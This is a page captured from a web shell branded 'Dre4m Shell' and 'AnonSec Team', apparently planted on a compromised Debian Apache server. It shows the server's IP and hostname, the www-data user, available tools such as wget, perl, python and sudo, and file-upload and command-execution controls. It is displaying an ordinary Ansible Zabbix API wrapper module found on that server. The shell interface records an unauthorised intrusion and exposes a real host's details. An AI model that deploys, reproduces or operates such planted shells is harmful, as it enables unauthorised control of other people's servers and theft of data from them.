Dre4m Shell
Server IP : 85.214.239.14  /  Your IP : 216.73.216.179
Web Server : Apache/2.4.62 (Debian)
System : Linux h2886529.stratoserver.net 4.9.0 #1 SMP Mon Sep 30 15:36:27 MSK 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.18
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/ansible_collections/community/zabbix/plugins/module_utils/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /lib/python3/dist-packages/ansible_collections/community/zabbix/plugins/module_utils/wrappers.py
#!/usr/bin/env python
# -*- coding: utf-8 -*-

# GNU General Public License v3.0+ (see COPYING or https://www.gnu.org/licenses/gpl-3.0.txt)

from __future__ import absolute_import, division, print_function
__metaclass__ = type

import atexit
import traceback

from ansible.module_utils.basic import missing_required_lib

try:
    from zabbix_api import ZabbixAPI, Already_Exists, ZabbixAPIException

    HAS_ZABBIX_API = True
    ZBX_IMP_ERR = Exception()
except ImportError:
    ZBX_IMP_ERR = traceback.format_exc()
    HAS_ZABBIX_API = False


class ZapiWrapper(object):
    """
    A simple wrapper over the Zabbix API
    """
    def __init__(self, module, zbx=None):
        self._module = module

        if not HAS_ZABBIX_API:
            module.fail_json(msg=missing_required_lib('zabbix-api', url='https://pypi.org/project/zabbix-api/'), exception=ZBX_IMP_ERR)

        # check if zbx is already instantiated or not
        if zbx is not None and isinstance(zbx, ZabbixAPI):
            self._zapi = zbx
        else:
            server_url = module.params['server_url']

            if module.params['validate_certs'] is None:
                validate_certs = True
            else:
                validate_certs = module.params['validate_certs']

            if module.params['timeout'] is None:
                timeout = 10
            else:
                timeout = module.params['timeout']

            self._zapi = ZabbixAPI(server_url, timeout=timeout, validate_certs=validate_certs)

        self.login()

        self._zbx_api_version = self._zapi.api_version()

    def login(self):
        # check if api already logged in
        if not self._zapi.auth != '':
            try:
                login_user = self._module.params['login_user']
                login_password = self._module.params['login_password']
                self._zapi.login(login_user, login_password)
                atexit.register(self._zapi.logout)
            except Exception as e:
                self._module.fail_json(msg="Failed to connect to Zabbix server: %s" % e)


class ScreenItem(object):
    @staticmethod
    def create(zapi_wrapper, data, ignoreExists=False):
        try:
            zapi_wrapper._zapi.screenitem.create(data)
        except Already_Exists as ex:
            if not ignoreExists:
                raise ex

    @staticmethod
    def delete(zapi_wrapper, id_list=None):
        try:
            if id_list is None:
                id_list = []
            zapi_wrapper._zapi.screenitem.delete(id_list)
        except ZabbixAPIException as ex:
            raise ex

Anon7 - 2022
AnonSec Team